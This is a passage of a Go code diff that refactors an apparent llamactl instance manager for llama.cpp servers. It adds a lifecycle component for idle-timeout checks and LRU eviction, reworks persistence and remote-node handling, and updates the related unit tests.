-		LogsDir: "/tmp/test",
-	}
-
-	idleTimeout := 5 // 5 minutes
-	options := &instance.CreateInstanceOptions{
-		IdleTimeout: &idleTimeout,
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
-
-	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-	inst.SetStatus(instance.Running)
-
-	// Update last request time to now
-	inst.UpdateLastRequestTime()
-
-	// Should not timeout immediately
-	if inst.ShouldTimeout() {
-		t.Error("Instance should not timeout when last request was recent")
-	}
-}
-
-func TestShouldTimeout_ExceedsTimeLimit(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir: "/tmp/test",
-	}
-
-	idleTimeout := 1 // 1 minute
-	options := &instance.CreateInstanceOptions{
-		IdleTimeout: &idleTimeout,
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-		},
-	}
-
-	// Mock onStatusChange function
-	mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
-
-	inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-	inst.SetStatus(instance.Running)
-
-	// Use MockTimeProvider to simulate old last request time
-	mockTime := NewMockTimeProvider(time.Now())
-	inst.SetTimeProvider(mockTime)
-
-	// Set last request time to now
-	inst.UpdateLastRequestTime()
-
-	// Advance time by 2 minutes (exceeds 1 minute timeout)
-	mockTime.SetTime(time.Now().Add(2 * time.Minute))
-
-	if !inst.ShouldTimeout() {
-		t.Error("Instance should timeout when last request exceeds idle timeout")
-	}
-}
-
-func TestTimeoutConfiguration_Validation(t *testing.T) {
-	globalSettings := &config.InstancesConfig{
-		LogsDir: "/tmp/test",
-	}
-
-	tests := []struct {
-		name            string
-		inputTimeout    *int
-		expectedTimeout int
-	}{
-		{"default value when nil", nil, 0},
-		{"positive value", testutil.IntPtr(10), 10},
-		{"zero value", testutil.IntPtr(0), 0},
-		{"negative value gets corrected", testutil.IntPtr(-5), 0},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			options := &instance.CreateInstanceOptions{
-				IdleTimeout: tt.inputTimeout,
-				BackendType: backends.BackendTypeLlamaCpp,
-				LlamaServerOptions: &llamacpp.LlamaServerOptions{
-					Model: "/path/to/model.gguf",
-				},
-			}
-
-			// Mock onStatusChange function
-			mockOnStatusChange := func(oldStatus, newStatus instance.InstanceStatus) {}
-
-			inst := instance.NewInstance("test-instance", globalSettings, options, mockOnStatusChange)
-			opts := inst.GetOptions()
-
-			if opts.IdleTimeout == nil || *opts.IdleTimeout != tt.expectedTimeout {
-				t.Errorf("Expected IdleTimeout %d, got %v", tt.expectedTimeout, opts.IdleTimeout)
-			}
-		})
-	}
-}

pkg/manager/lifecycle.go

@@ -0,0 +1,152 @@
+package manager
+
+import (
+	"fmt"
+	"llamactl/pkg/instance"
+	"log"
+	"sync"
+	"time"
+)
+
+// lifecycleManager handles background timeout checking and LRU eviction.
+// It properly coordinates shutdown to prevent races with the timeout checker.
+type lifecycleManager struct {
+	registry *instanceRegistry
+	manager  InstanceManager // For calling Stop/Evict operations
+
+	ticker        *time.Ticker
+	checkInterval time.Duration
+	enableLRU     bool
+
+	shutdownChan chan struct{}
+	shutdownDone chan struct{}
+	shutdownOnce sync.Once
+}
+
+// newLifecycleManager creates a new lifecycle manager.
+func newLifecycleManager(
+	registry *instanceRegistry,
+	manager InstanceManager,
+	checkInterval time.Duration,
+	enableLRU bool,
+) *lifecycleManager {
+	if checkInterval <= 0 {
+		checkInterval = 5 * time.Minute // Default to 5 minutes
+	}
+
+	return &lifecycleManager{
+		registry:      registry,
+		manager:       manager,
+		ticker:        time.NewTicker(checkInterval),
+		checkInterval: checkInterval,
+		enableLRU:     enableLRU,
+		shutdownChan:  make(chan struct{}),
+		shutdownDone:  make(chan struct{}),
+	}
+}
+
+// Start begins the timeout checking loop in a goroutine.
+func (l *lifecycleManager) start() {
+	go l.timeoutCheckLoop()
+}
+
+// Stop gracefully stops the lifecycle manager.
+// This ensures the timeout checker completes before instance cleanup begins.
+func (l *lifecycleManager) stop() {
+	l.shutdownOnce.Do(func() {
+		close(l.shutdownChan)
+		<-l.shutdownDone // Wait for checker to finish (prevents shutdown race)
+		l.ticker.Stop()
+	})
+}
+
+// timeoutCheckLoop is the main loop that periodically checks for timeouts.
+func (l *lifecycleManager) timeoutCheckLoop() {
+	defer close(l.shutdownDone) // Signal completion
+
+	for {
+		select {
+		case <-l.ticker.C:
+			l.checkTimeouts()
+		case <-l.shutdownChan:
+			return // Exit goroutine on shutdown
+		}
+	}
+}
+
+// checkTimeouts checks all instances for timeout and stops those that have timed out.
+func (l *lifecycleManager) checkTimeouts() {
+	// Get all instances from registry
+	instances := l.registry.list()
+
+	var timeoutInstances []string
+
+	// Identify instances that should timeout
+	for _, inst := range instances {
+		// Skip remote instances - they are managed by their respective nodes
+		if inst.IsRemote() {
+			continue
+		}
+
+		// Only check running instances
+		if !l.registry.isRunning(inst.Name) {
+			continue
+		}
+
+		if inst.ShouldTimeout() {
+			timeoutInstances = append(timeoutInstances, inst.Name)
+		}
+	}
+
+	// Stop the timed-out instances
+	for _, name := range timeoutInstances {
+		log.Printf("Instance %s has timed out, stopping it", name)
+		if _, err := l.manager.StopInstance(name); err != nil {
+			log.Printf("Error stopping instance %s: %v", name, err)
+		} else {
+			log.Printf("Instance %s stopped successfully", name)
+		}
+	}
+}
+
+// EvictLRU finds and stops the least recently used running instance.
+// This is called when max running instances limit is reached.
+func (l *lifecycleManager) evictLRU() error {
+	if !l.enableLRU {
+		return fmt.Errorf("LRU eviction is not enabled")
+	}
+
+	// Get all running instances
+	runningInstances := l.registry.listRunning()
+
+	var lruInstance *instance.Instance
+
+	for _, inst := range runningInstances {
+		// Skip remote instances - they are managed by their respective nodes
+		if inst.IsRemote() {
+			continue
+		}
+
+		// Skip instances without idle timeout
+		if inst.GetOptions() != nil && inst.GetOptions().IdleTimeout != nil && *inst.GetOptions().IdleTimeout <= 0 {
+			continue
+		}
+
+		if lruInstance == nil {
+			lruInstance = inst
+		}
+
+		if inst.LastRequestTime() < lruInstance.LastRequestTime() {
+			lruInstance = inst
+		}
+	}
+
+	if lruInstance == nil {
+		return fmt.Errorf("failed to find lru instance")
+	}
+
+	// Evict the LRU instance
+	log.Printf("Evicting LRU instance %s", lruInstance.Name)
+	_, err := l.manager.StopInstance(lruInstance.Name)
+	return err
+}

pkg/manager/lifecycle_test.go

@@ -0,0 +1,220 @@
+package manager_test
+
+import (
+	"llamactl/pkg/backends"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/manager"
+	"sync"
+	"testing"
+	"time"
+)
+
+func TestInstanceTimeoutLogic(t *testing.T) {
+	testManager := createTestManager()
+	defer testManager.Shutdown()
+
+	idleTimeout := 1 // 1 minute
+	inst := createInstanceWithTimeout(t, testManager, "timeout-test", "/path/to/model.gguf", &idleTimeout)
+
+	// Test timeout logic with mock time provider
+	mockTime := NewMockTimeProvider(time.Now())
+	inst.SetTimeProvider(mockTime)
+
+	// Set instance to running state so timeout logic can work
+	inst.SetStatus(instance.Running)
+	defer inst.SetStatus(instance.Stopped)
+
+	// Update last request time
+	inst.UpdateLastRequestTime()
+
+	// Initially should not timeout (just updated)
+	if inst.ShouldTimeout() {
+		t.Error("Instance should not timeout immediately after request")
+	}
+
+	// Advance time to trigger timeout
+	mockTime.SetTime(time.Now().Add(2 * time.Minute))
+
+	// Now it should timeout
+	if !inst.ShouldTimeout() {
+		t.Error("Instance should timeout after idle period")
+	}
+}
+
+func TestInstanceWithoutTimeoutNeverExpires(t *testing.T) {
+	testManager := createTestManager()
+	defer testManager.Shutdown()
+
+	noTimeoutInst := createInstanceWithTimeout(t, testManager, "no-timeout-test", "/path/to/model.gguf", nil)
+
+	mockTime := NewMockTimeProvider(time.Now())
+	noTimeoutInst.SetTimeProvider(mockTime)
+	noTimeoutInst.SetStatus(instance.Running)
+	defer noTimeoutInst.SetStatus(instance.Stopped)
+
+	noTimeoutInst.UpdateLastRequestTime()
+
+	// Advance time significantly
+	mockTime.SetTime(mockTime.Now().Add(24 * time.Hour))
+
+	// Even with time advanced, should not timeout
+	if noTimeoutInst.ShouldTimeout() {
+		t.Error("Instance without timeout configuration should never timeout")
+	}
+}
+
+func TestEvictLRUInstance_Success(t *testing.T) {
+	manager := createTestManager()
+	defer manager.Shutdown()
+
+	// Create 3 instances with idle timeout enabled (value doesn't matter for LRU logic)
+	validTimeout := 1
+	inst1 := createInstanceWithTimeout(t, manager, "instance-1", "/path/to/model1.gguf", &validTimeout)
+	inst2 := createInstanceWithTimeout(t, manager, "instance-2", "/path/to/model2.gguf", &validTimeout)
+	inst3 := createInstanceWithTimeout(t, manager, "instance-3", "/path/to/model3.gguf", &validTimeout)
+
+	// Set up mock time and set instances to running
+	mockTime := NewMockTimeProvider(time.Now())
+	inst1.SetTimeProvider(mockTime)
+	inst2.SetTimeProvider(mockTime)
+	inst3.SetTimeProvider(mockTime)
+
+	inst1.SetStatus(instance.Running)
+	inst2.SetStatus(instance.Running)
+	inst3.SetStatus(instance.Running)
+	defer func() {
+		// Clean up - ensure all instances are stopped
+		for _, inst := range []*instance.Instance{inst1, inst2, inst3} {
+			if inst.IsRunning() {
+				inst.SetStatus(instance.Stopped)
+			}
+		}
+	}()
+
+	// Set different last request times (oldest to newest)
+	// inst1: oldest (will be evicted)
+	inst1.UpdateLastRequestTime()
+
+	mockTime.SetTime(mockTime.Now().Add(1 * time.Minute))
+	inst2.UpdateLastRequestTime()
+
+	mockTime.SetTime(mockTime.Now().Add(1 * time.Minute))
+	inst3.UpdateLastRequestTime()
+
+	// Evict LRU instance (should be inst1)
+	if err := manager.EvictLRUInstance(); err != nil {
+		t.Fatalf("EvictLRUInstance failed: %v", err)
+	}
+
+	// Verify inst1 is stopped
+	if inst1.IsRunning() {
+		t.Error("Expected instance-1 to be stopped after eviction")
+	}
+
+	// Verify inst2 and inst3 are still running
+	if !inst2.IsRunning() {
+		t.Error("Expected instance-2 to still be running")
+	}
+	if !inst3.IsRunning() {
+		t.Error("Expected instance-3 to still be running")
+	}
+}
+
+func TestEvictLRUInstance_NoRunningInstances(t *testing.T) {
+	manager := createTestManager()
+	defer manager.Shutdown()
+
+	err := manager.EvictLRUInstance()
+	if err == nil {
+		t.Error("Expected error when no running instances exist")
+	}
+	if err.Error() != "failed to find lru instance" {
+		t.Errorf("Expected 'failed to find lru instance' error, got: %v", err)
+	}
+}
+
+func TestEvictLRUInstance_OnlyEvictsTimeoutEnabledInstances(t *testing.T) {
+	manager := createTestManager()
+	defer manager.Shutdown()
+
+	// Create mix of instances: some with timeout enabled, some disabled
+	// Only timeout-enabled instances should be eligible for eviction
+	validTimeout := 1
+	zeroTimeout := 0
+	instWithTimeout := createInstanceWithTimeout(t, manager, "with-timeout", "/path/to/model-with-timeout.gguf", &validTimeout)
+	instNoTimeout1 := createInstanceWithTimeout(t, manager, "no-timeout-1", "/path/to/model-no-timeout1.gguf", &zeroTimeout)
+	instNoTimeout2 := createInstanceWithTimeout(t, manager, "no-timeout-2", "/path/to/model-no-timeout2.gguf", nil)
+
+	// Set all instances to running
+	instances := []*instance.Instance{instWithTimeout, instNoTimeout1, instNoTimeout2}
+	for _, inst := range instances {
+		inst.SetStatus(instance.Running)
+		inst.UpdateLastRequestTime()
+	}
+	defer func() {
+		// Reset instances to stopped to avoid shutdown panics
+		for _, inst := range instances {
+			if inst.IsRunning() {
+				inst.SetStatus(instance.Stopped)
+			}
+		}
+	}()
+
+	// Evict LRU instance - should only consider the one with timeout
+	err := manager.EvictLRUInstance()
+	if err != nil {
+		t.Fatalf("EvictLRUInstance failed: %v", err)
+	}
+
+	// Verify only the instance with timeout was evicted
+	if instWithTimeout.IsRunning() {
+		t.Error("Expected with-timeout instance to be stopped after eviction")
+	}
+	if !instNoTimeout1.IsRunning() {
+		t.Error("Expected no-timeout-1 instance to still be running")
+	}
+	if !instNoTimeout2.IsRunning() {
+		t.Error("Expected no-timeout-2 instance to still be running")
+	}
+}
+
+// Helper function to create instances with different timeout configurations
+func createInstanceWithTimeout(t *testing.T, manager manager.InstanceManager, name, model string, timeout *int) *instance.Instance {
+	t.Helper()
+	options := &instance.Options{
+		IdleTimeout: timeout,
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: model,
+			},
+		},
+	}
+	inst, err := manager.CreateInstance(name, options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+	return inst
+}
+
+// Helper for timeout tests
+type MockTimeProvider struct {
+	currentTime time.Time
+	mu          sync.RWMutex
+}
+
+func NewMockTimeProvider(t time.Time) *MockTimeProvider {
+	return &MockTimeProvider{currentTime: t}
+}
+
+func (m *MockTimeProvider) Now() time.Time {
+	m.mu.RLock()
+	defer m.mu.RUnlock()
+	return m.currentTime
+}
+
+func (m *MockTimeProvider) SetTime(t time.Time) {
+	m.mu.Lock()
+	defer m.mu.Unlock()
+	m.currentTime = t
+}

pkg/manager/manager.go

@@ -1,296 +1,303 @@
 package manager
 
 import (
-	"encoding/json"
+	"context"
 	"fmt"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"log"
-	"os"
-	"path/filepath"
-	"strings"
 	"sync"
 	"time"
 )
 
 // InstanceManager defines the interface for managing instances of the llama server.
 type InstanceManager interface {
-	ListInstances() ([]*instance.Process, error)
-	CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error)
-	GetInstance(name string) (*instance.Process, error)
-	UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Process, error)
+	ListInstances() ([]*instance.Instance, error)
+	CreateInstance(name string, options *instance.Options) (*instance.Instance, error)
+	GetInstance(name string) (*instance.Instance, error)
+	UpdateInstance(name string, options *instance.Options) (*instance.Instance, error)
 	DeleteInstance(name string) error
-	StartInstance(name string) (*instance.Process, error)
+	StartInstance(name string) (*instance.Instance, error)
 	IsMaxRunningInstancesReached() bool
-	StopInstance(name string) (*instance.Process, error)
+	StopInstance(name string) (*instance.Instance, error)
 	EvictLRUInstance() error
-	RestartInstance(name string) (*instance.Process, error)
-	GetInstanceLogs(name string) (string, error)
+	RestartInstance(name string) (*instance.Instance, error)
+	GetInstanceLogs(name string, numLines int) (string, error)
 	Shutdown()
 }
 
 type instanceManager struct {
-	mu               sync.RWMutex
-	instances        map[string]*instance.Process
-	runningInstances map[string]struct{}
-	ports            map[int]bool
-	instancesConfig  config.InstancesConfig
+	// Components (each with own synchronization)
+	registry    *instanceRegistry
+	ports       *portAllocator
+	persistence *instancePersister
+	remote      *remoteManager
+	lifecycle   *lifecycleManager
 
-	// Timeout checker
-	timeoutChecker *time.Ticker
-	shutdownChan   chan struct{}
-	shutdownDone   chan struct{}
-	isShutdown     bool
+	// Configuration
+	globalConfig *config.AppConfig
+
+	// Synchronization
+	instanceLocks sync.Map // map[string]*sync.Mutex - per-instance locks for concurrent operations
+	shutdownOnce  sync.Once
 }
 
-// NewInstanceManager creates a new instance of InstanceManager.
-func NewInstanceManager(instancesConfig config.InstancesConfig) InstanceManager {
-	if instancesConfig.TimeoutCheckInterval <= 0 {
-		instancesConfig.TimeoutCheckInterval = 5 // Default to 5 minutes if not set
-	}
-	im := &instanceManager{
-		instances:        make(map[string]*instance.Process),
-		runningInstances: make(map[string]struct{}),
-		ports:            make(map[int]bool),
-		instancesConfig:  instancesConfig,
+// New creates a new instance of InstanceManager.
+func New(globalConfig *config.AppConfig) InstanceManager {
 
-		timeoutChecker: time.NewTicker(time.Duration(instancesConfig.TimeoutCheckInterval) * time.Minute),
-		shutdownChan:   make(chan struct{}),
-		shutdownDone:   make(chan struct{}),
+	if globalConfig.Instances.TimeoutCheckInterval <= 0 {
+		globalConfig.Instances.TimeoutCheckInterval = 5 // Default to 5 minutes if not set
 	}
 
+	// Initialize components
+	registry := newInstanceRegistry()
+
+	// Initialize port allocator
+	portRange := globalConfig.Instances.PortRange
+	ports, err := newPortAllocator(portRange[0], portRange[1])
+	if err != nil {
+		log.Fatalf("Failed to create port allocator: %v", err)
+	}
+
+	// Initialize persistence
+	persistence, err := newInstancePersister(globalConfig.Instances.InstancesDir)
+	if err != nil {
+		log.Fatalf("Failed to create instance persister: %v", err)
+	}
+
+	// Initialize remote manager
+	remote := newRemoteManager(globalConfig.Nodes, 30*time.Second)
+
+	// Create manager instance
+	im := &instanceManager{
+		registry:     registry,
+		ports:        ports,
+		persistence:  persistence,
+		remote:       remote,
+		globalConfig: globalConfig,
+	}
+
+	// Initialize lifecycle manager (needs reference to manager for Stop/Evict operations)
+	checkInterval := time.Duration(globalConfig.Instances.TimeoutCheckInterval) * time.Minute
+	im.lifecycle = newLifecycleManager(registry, im, checkInterval, true)
+
 	// Load existing instances from disk
 	if err := im.loadInstances(); err != nil {
 		log.Printf("Error loading instances: %v", err)
 	}
 
-	// Start the timeout checker goroutine after initialization is complete
-	go func() {
-		defer close(im.shutdownDone)
-
-		for {
-			select {
-			case <-im.timeoutChecker.C:
-				im.checkAllTimeouts()
-			case <-im.shutdownChan:
-				return // Exit goroutine on shutdown
-			}
-		}
-	}()
+	// Start the lifecycle manager
+	im.lifecycle.start()
 
 	return im
 }
 
-func (im *instanceManager) getNextAvailablePort() (int, error) {
-	portRange := im.instancesConfig.PortRange
-
-	for port := portRange[0]; port <= portRange[1]; port++ {
-		if !im.ports[port] {
-			im.ports[port] = true
-			return port, nil
-		}
-	}
-
-	return 0, fmt.Errorf("no available ports in the specified range")
-}
-
-// persistInstance saves an instance to its JSON file
-func (im *instanceManager) persistInstance(instance *instance.Process) error {
-	if im.instancesConfig.InstancesDir == "" {
-		return nil // Persistence disabled
-	}
-
-	instancePath := filepath.Join(im.instancesConfig.InstancesDir, instance.Name+".json")
-	tempPath := instancePath + ".tmp"
-
-	// Serialize instance to JSON
-	jsonData, err := json.MarshalIndent(instance, "", "  ")
-	if err != nil {
-		return fmt.Errorf("failed to marshal instance %s: %w", instance.Name, err)
-	}
-
-	// Write to temporary file first
-	if err := os.WriteFile(tempPath, jsonData, 0644); err != nil {
-		return fmt.Errorf("failed to write temp file for instance %s: %w", instance.Name, err)
-	}
-
-	// Atomic rename
-	if err := os.Rename(tempPath, instancePath); err != nil {
-		os.Remove(tempPath) // Clean up temp file
-		return fmt.Errorf("failed to rename temp file for instance %s: %w", instance.Name, err)
-	}
-
-	return nil
+// persistInstance saves an instance using the persistence component
+func (im *instanceManager) persistInstance(inst *instance.Instance) error {
+	return im.persistence.save(inst)
 }
 
 func (im *instanceManager) Shutdown() {
-	im.mu.Lock()
+	im.shutdownOnce.Do(func() {
+		// 1. Stop lifecycle manager (stops timeout checker)
+		im.lifecycle.stop()
 
-	// Check if already shutdown
-	if im.isShutdown {
-		im.mu.Unlock()
-		return
-	}
-	im.isShutdown = true
+		// 2. Get running instances (no lock needed - registry handles it)
+		running := im.registry.listRunning()
 
-	// Signal the timeout checker to stop
-	close(im.shutdownChan)
-
-	// Create a list of running instances to stop
-	var runningInstances []*instance.Process
-	var runningNames []string
-	for name, inst := range im.instances {
-		if inst.IsRunning() {
-			runningInstances = append(runningInstances, inst)
-			runningNames = append(runningNames, name)
-		}
-	}
-
-	// Release lock before stopping instances to avoid deadlock
-	im.mu.Unlock()
-
-	// Wait for the timeout checker goroutine to actually stop
-	<-im.shutdownDone
-
-	// Now stop the ticker
-	if im.timeoutChecker != nil {
-		im.timeoutChecker.Stop()
-	}
-
-	// Stop instances without holding the manager lock
-	var wg sync.WaitGroup
-	wg.Add(len(runningInstances))
-
-	for i, inst := range runningInstances {
-		go func(name string, inst *instance.Process) {
-			defer wg.Done()
-			fmt.Printf("Stopping instance %s...\n", name)
-			// Attempt to stop the instance gracefully
-			if err := inst.Stop(); err != nil {
-				fmt.Printf("Error stopping instance %s: %v\n", name, err)
+		// 3. Stop local instances concurrently
+		var wg sync.WaitGroup
+		for _, inst := range running {
+			if inst.IsRemote() {
+				continue // Skip remote instances
 			}
-		}(runningNames[i], inst)
-	}
-
-	wg.Wait()
-	fmt.Println("All instances stopped.")
+			wg.Add(1)
+			go func(inst *instance.Instance) {
+				defer wg.Done()
+				fmt.Printf("Stopping instance %s...\n", inst.Name)
+				if err := inst.Stop(); err != nil {
+					fmt.Printf("Error stopping instance %s: %v\n", inst.Name, err)
+				}
+			}(inst)
+		}
+		wg.Wait()
+		fmt.Println("All instances stopped.")
+	})
 }
 
-// loadInstances restores all instances from disk
+// loadInstances restores all instances from disk using the persistence component
 func (im *instanceManager) loadInstances() error {
-	if im.instancesConfig.InstancesDir == "" {
-		return nil // Persistence disabled
-	}
-
-	// Check if instances directory exists
-	if _, err := os.Stat(im.instancesConfig.InstancesDir); os.IsNotExist(err) {
-		return nil // No instances directory, start fresh
-	}
-
-	// Read all JSON files from instances directory
-	files, err := os.ReadDir(im.instancesConfig.InstancesDir)
+	// Load all instances from persistence
+	instances, err := im.persistence.loadAll()
 	if err != nil {
-		return fmt.Errorf("failed to read instances directory: %w", err)
+		return fmt.Errorf("failed to load instances: %w", err)
 	}
 
-	loadedCount := 0
-	for _, file := range files {
-		if file.IsDir() || !strings.HasSuffix(file.Name(), ".json") {
+	if len(instances) == 0 {
+		return nil
+	}
+
+	// Process each loaded instance
+	for _, persistedInst := range instances {
+		if err := im.loadInstance(persistedInst); err != nil {
+			log.Printf("Failed to load instance %s: %v", persistedInst.Name, err)
 			continue
 		}
-
-		instanceName := strings.TrimSuffix(file.Name(), ".json")
-		instancePath := filepath.Join(im.instancesConfig.InstancesDir, file.Name())
-
-		if err := im.loadInstance(instanceName, instancePath); err != nil {
-			log.Printf("Failed to load instance %s: %v", instanceName, err)
-			continue
-		}
-
-		loadedCount++
 	}
 
-	if loadedCount > 0 {
-		log.Printf("Loaded %d instances from persistence", loadedCount)
-		// Auto-start instances that have auto-restart enabled
-		go im.autoStartInstances()
-	}
+	log.Printf("Loaded %d instances from persistence", len(instances))
+
+	// Auto-start instances that have auto-restart enabled
+	go im.autoStartInstances()
 
 	return nil
 }
 
-// loadInstance loads a single instance from its JSON file
-func (im *instanceManager) loadInstance(name, path string) error {
-	data, err := os.ReadFile(path)
-	if err != nil {
-		return fmt.Errorf("failed to read instance file: %w", err)
+// loadInstance loads a single persisted instance and adds it to the registry
+func (im *instanceManager) loadInstance(persistedInst *instance.Instance) error {
+	name := persistedInst.Name
+	options := persistedInst.GetOptions()
+
+	// Check if this is a remote instance (local node not in the Nodes set)
+	var isRemote bool
+	var nodeName string
+	if options != nil {
+		if _, isLocal := options.Nodes[im.globalConfig.LocalNode]; !isLocal && len(options.Nodes) > 0 {
+			// Get the first node from the set
+			for node := range options.Nodes {
+				nodeName = node
+				isRemote = true
+				break
+			}
+		}
 	}
 
-	var persistedInstance instance.Process
-	if err := json.Unmarshal(data, &persistedInstance); err != nil {
-		return fmt.Errorf("failed to unmarshal instance: %w", err)
-	}
-
-	// Validate the instance name matches the filename
-	if persistedInstance.Name != name {
-		return fmt.Errorf("instance name mismatch: file=%s, instance.Name=%s", name, persistedInstance.Name)
-	}
-
-	statusCallback := func(oldStatus, newStatus instance.InstanceStatus) {
-		im.onStatusChange(persistedInstance.Name, oldStatus, newStatus)
+	var statusCallback func(oldStatus, newStatus instance.Status)
+	if !isRemote {
+		// Only set status callback for local instances
+		statusCallback = func(oldStatus, newStatus instance.Status) {
+			im.onStatusChange(name, oldStatus, newStatus)
+		}
 	}
 
 	// Create new inst using NewInstance (handles validation, defaults, setup)
-	inst := instance.NewInstance(name, &im.instancesConfig, persistedInstance.GetOptions(), statusCallback)
+	inst := instance.New(name, im.globalConfig, options, statusCallback)
 
 	// Restore persisted fields that NewInstance doesn't set
-	inst.Created = persistedInstance.Created
-	inst.SetStatus(persistedInstance.Status)
+	inst.Created = persistedInst.Created
+	inst.SetStatus(persistedInst.GetStatus())
 
-	// Check for port conflicts and add to maps
-	if inst.GetPort() > 0 {
-		port := inst.GetPort()
-		if im.ports[port] {
-			return fmt.Errorf("port conflict: instance %s wants port %d which is already in use", name, port)
+	// Handle remote instance mapping
+	if isRemote {
+		// Map instance to node in remote manager
+		if err := im.remote.setInstanceNode(name, nodeName); err != nil {
+			return fmt.Errorf("failed to set instance node: %w", err)
+		}
+	} else {
+		// Allocate port for local instances
+		if inst.GetPort() > 0 {
+			port := inst.GetPort()
+			if err := im.ports.allocateSpecific(port, name); err != nil {
+				return fmt.Errorf("port conflict: instance %s wants port %d which is already in use: %w", name, port, err)
+			}
 		}
-		im.ports[port] = true
 	}
 
-	im.instances[name] = inst
+	// Add instance to registry
+	if err := im.registry.add(inst); err != nil {
+		return fmt.Errorf("failed to add instance to registry: %w", err)
+	}
+
 	return nil
 }
 
 // autoStartInstances starts instances that were running when persisted and have auto-restart enabled
+// For instances with auto-restart disabled, it sets their status to Stopped
 func (im *instanceManager) autoStartInstances() {
-	im.mu.RLock()
-	var instancesToStart []*instance.Process
-	for _, inst := range im.instances {
+	instances := im.registry.list()
+
+	var instancesToStart []*instance.Instance
+	var instancesToStop []*instance.Instance
+
+	for _, inst := range instances {
 		if inst.IsRunning() && // Was running when persisted
 			inst.GetOptions() != nil &&
-			inst.GetOptions().AutoRestart != nil &&
-			*inst.GetOptions().AutoRestart {
-			instancesToStart = append(instancesToStart, inst)
+			inst.GetOptions().AutoRestart != nil {
+			if *inst.GetOptions().AutoRestart {
+				instancesToStart = append(instancesToStart, inst)
+			} else {
+				// Instance was running but auto-restart is disabled, mark as stopped
+				instancesToStop = append(instancesToStop, inst)
+			}
 		}
 	}
-	im.mu.RUnlock()
 
+	// Stop instances that have auto-restart disabled
+	for _, inst := range instancesToStop {
+		log.Printf("Instance %s was running but auto-restart is disabled, setting status to stopped", inst.Name)
+		inst.SetStatus(instance.Stopped)
+		im.registry.markStopped(inst.Name)
+	}
+
+	// Start instances that have auto-restart enabled
 	for _, inst := range instancesToStart {
 		log.Printf("Auto-starting instance %s", inst.Name)
 		// Reset running state before starting (since Start() expects stopped instance)
 		inst.SetStatus(instance.Stopped)
-		if err := inst.Start(); err != nil {
-			log.Printf("Failed to auto-start instance %s: %v", inst.Name, err)
+		im.registry.markStopped(inst.Name)
+
+		// Check if this is a remote instance
+		if node, exists := im.remote.getNodeForInstance(inst.Name); exists && node != nil {
+			// Remote instance - use remote manager with context
+			ctx := context.Background()
+			if _, err := im.remote.startInstance(ctx, node, inst.Name); err != nil {
+				log.Printf("Failed to auto-start remote instance %s: %v", inst.Name, err)
+			}
+		} else {
+			// Local instance - call Start() directly
+			if err := inst.Start(); err != nil {
+				log.Printf("Failed to auto-start instance %s: %v", inst.Name, err)
+			}
 		}
 	}
 }
 
-func (im *instanceManager) onStatusChange(name string, oldStatus, newStatus instance.InstanceStatus) {
-	im.mu.Lock()
-	defer im.mu.Unlock()
-
+func (im *instanceManager) onStatusChange(name string, oldStatus, newStatus instance.Status) {
 	if newStatus == instance.Running {
-		im.runningInstances[name] = struct{}{}
+		im.registry.markRunning(name)
 	} else {
-		delete(im.runningInstances, name)
+		im.registry.markStopped(name)
+	}
+}
+
+// getNodeForInstance returns the node configuration for a remote instance
+// Returns nil if the instance is not remote or the node is not found
+func (im *instanceManager) getNodeForInstance(inst *instance.Instance) *config.NodeConfig {
+	if !inst.IsRemote() {
+		return nil
+	}
+
+	// Check if we have a node mapping in remote manager
+	if nodeConfig, exists := im.remote.getNodeForInstance(inst.Name); exists {
+		return nodeConfig
+	}
+
+	return nil
+}
+
+// lockInstance returns the lock for a specific instance, creating one if needed.
+// This allows concurrent operations on different instances while preventing
+// concurrent operations on the same instance.
+func (im *instanceManager) lockInstance(name string) *sync.Mutex {
+	lock, _ := im.instanceLocks.LoadOrStore(name, &sync.Mutex{})
+	return lock.(*sync.Mutex)
+}
+
+// unlockAndCleanup unlocks the instance lock and removes it from the map.
+// This should only be called when deleting an instance to prevent memory leaks.
+func (im *instanceManager) unlockAndCleanup(name string) {
+	if lock, ok := im.instanceLocks.Load(name); ok {
+		lock.(*sync.Mutex).Unlock()
+		im.instanceLocks.Delete(name)
 	}
 }

pkg/manager/manager_test.go

@@ -3,61 +3,28 @@ package manager_test
 import (
 	"fmt"
 	"llamactl/pkg/backends"
-	"llamactl/pkg/backends/llamacpp"
 	"llamactl/pkg/config"
 	"llamactl/pkg/instance"
 	"llamactl/pkg/manager"
 	"os"
 	"path/filepath"
-	"strings"
 	"sync"
 	"testing"
 )
 
-func TestNewInstanceManager(t *testing.T) {
-	cfg := config.InstancesConfig{
-		PortRange:            [2]int{8000, 9000},
-		LogsDir:              "/tmp/test",
-		MaxInstances:         5,
-		LlamaExecutable:      "llama-server",
-		DefaultAutoRestart:   true,
-		DefaultMaxRestarts:   3,
-		DefaultRestartDelay:  5,
-		TimeoutCheckInterval: 5,
-	}
-
-	mgr := manager.NewInstanceManager(cfg)
-	if mgr == nil {
-		t.Fatal("NewInstanceManager returned nil")
-	}
-
-	// Test initial state
-	instances, err := mgr.ListInstances()
-	if err != nil {
-		t.Fatalf("ListInstances failed: %v", err)
-	}
-	if len(instances) != 0 {
-		t.Errorf("Expected empty instance list, got %d instances", len(instances))
-	}
-}
-
-func TestPersistence(t *testing.T) {
+func TestManager_PersistsAndLoadsInstances(t *testing.T) {
 	tempDir := t.TempDir()
+	appConfig := createTestAppConfig(tempDir)
 
-	cfg := config.InstancesConfig{
-		PortRange:            [2]int{8000, 9000},
-		InstancesDir:         tempDir,
